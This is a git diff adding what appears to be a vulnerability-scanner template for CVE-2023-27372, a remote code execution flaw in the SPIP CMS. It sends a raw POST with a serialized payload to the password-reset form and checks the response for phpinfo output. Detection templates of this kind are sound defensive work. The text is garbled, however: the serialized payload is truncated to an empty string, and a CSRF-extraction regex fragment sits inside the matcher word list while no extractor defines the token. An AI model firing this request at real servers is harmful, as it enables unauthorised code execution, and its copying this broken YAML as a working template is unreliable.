diff --git a/http/cves/2023/CVE-2023-27372.yaml b/http/cves/2023/CVE-2023-27372.yaml new file mode 100644 index 0000000000..455536fe13 --- /dev/null +++ b/http/cves/2023/CVE-2023-27372.yaml @@ -0,0 +1,63 @@ +id: CVE-2023-27372 + +info: + name: SPIP - Remote Command Execution + author: DhiyaneshDK,nuts7 + severity: critical + description: | + SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1. + reference: + - https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html + - https://nvd.nist.gov/vuln/detail/CVE-2023-27372 + - https://github.com/nuts7/CVE-2023-27372 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2023-27372 + metadata: + max-request: 1 + shodan-query: html:"spip.php?page=backend" + verified: "true" + tags: cve,cve2023,spip,rce + +http: + - raw: + - | + GET /spip.php?page=spip_pass HTTP/1.1 + Host: {{Hostname}} + + - | + POST /spip.php?page=spip_pass HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:""; + + matchers-condition: and + matchers: + - type: word + part: body_2 + words: + - "PHP Extension" + - "PHP Version" + - "]*value='([^']*)'" + + - type: regex + part: body_2 + group: 1 + regex: + - '>PHP Version <\/td>([0-9.]+)'